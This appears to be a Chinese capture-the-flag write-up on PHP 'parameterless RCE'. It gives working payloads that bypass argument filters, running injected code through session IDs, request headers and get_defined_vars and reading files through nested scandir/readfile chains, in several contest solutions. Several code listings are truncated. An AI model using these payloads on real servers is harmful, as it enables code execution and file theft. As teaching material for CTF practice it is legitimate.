php无参数RCE
0x 01 源代码分析
1 | <?php |
1 | preg_replace 的主要功能就是限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数,例如print_r("123");这种的,是不允许进行传入的 |
0x 02 解题方法
- http-header传参
在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。
1 | payload:code=eval(hex2bin(session_id(session_start()))); |
post/get传入参数
get_defined_vars()函数
get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
1 | payload:?code=eval(end(current(get_defined_vars())));&b=phpinfo(); |
getallheaders()函数
1 | paylaod:?code=eval(end(getallheaders())); |
任意文件读取:dirname() & chdir()
1 | 当前目录的目录遍历:?code=var_dump(scandir(getcwd())); |
0x 03 例题分析
3.1 ByteCTF Boringcode
原题部分代码
1 | $code = file_get_contents($url); |
这题加大了很多难度,过滤了这么些东西 /et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/
首先利用readfile(end(scandir(“.”))) #
可以成功读取当前目录下的最后一个文件的,下一步就是绕过”.”
这里利用了localeconv()函数,函数返回的数组第一位正是我们需要的“.”函数,尝试构造一下
1 | readfile(end(scandir(reset(localeconv())))); |
可以成功读取当前目录下的最后一个文件,其他构造点的payload
1 | chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #46 |
参考payload:
1 | if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv())))); |
官方WP:
1 | echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))))))))); |
3.2 2019上海市大学生网络安全大赛_decade
1 | <?php |
相比Byte发现与Byte的题目很相似,不同的就是正则过滤的更多了,我们就不能使用readfile等方式去读文件了,也不能用time的方式去获取“.”了。首先还是fuzz一下,php中类似readfile的函数
1 | <? |
发现readgzfile这个函数,看一下函数的定义,主要是读取一个压缩文件,不过在本地测试时发现,该函数也可以实现readfile的功能去读取文件。
字节跳动原payload
1 | readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))); |
将readfile修改为readgzfile,这里不再使用time()函数,使用ord()、hebrevc()等函数构造,在7.0的php环境下:
首先尝试读取当前目录下的文件,仍然是构造“.”,原来构造的paylod:
1 | readfile(end(scandir(reset(localeconv())))); |
因为题目中正则将“local”给过滤了,所以要换种方法去构造,本地尝试构造:
1 | readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))); |
但因为sqrt函数被过滤,继续构造
1 | (ord(hebrevc(crypt(phpversion())))); |
crypt每次加密都是随机的,修改payload
1 | print_r(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))); |
读取文件
1 | readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))); |
极客大挑战 2019
该函数会获取我们传输中headers的所有信息并以数组形式输出,我们可以将恶意代码写在传输的headers头中,再使用该函数进行包含执行,这样就可以达到我们绕过检测命令执行的目的
1 | #headers : readfile("theflag.php"); |
https://www.cnblogs.com/sylover/p/11863778.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/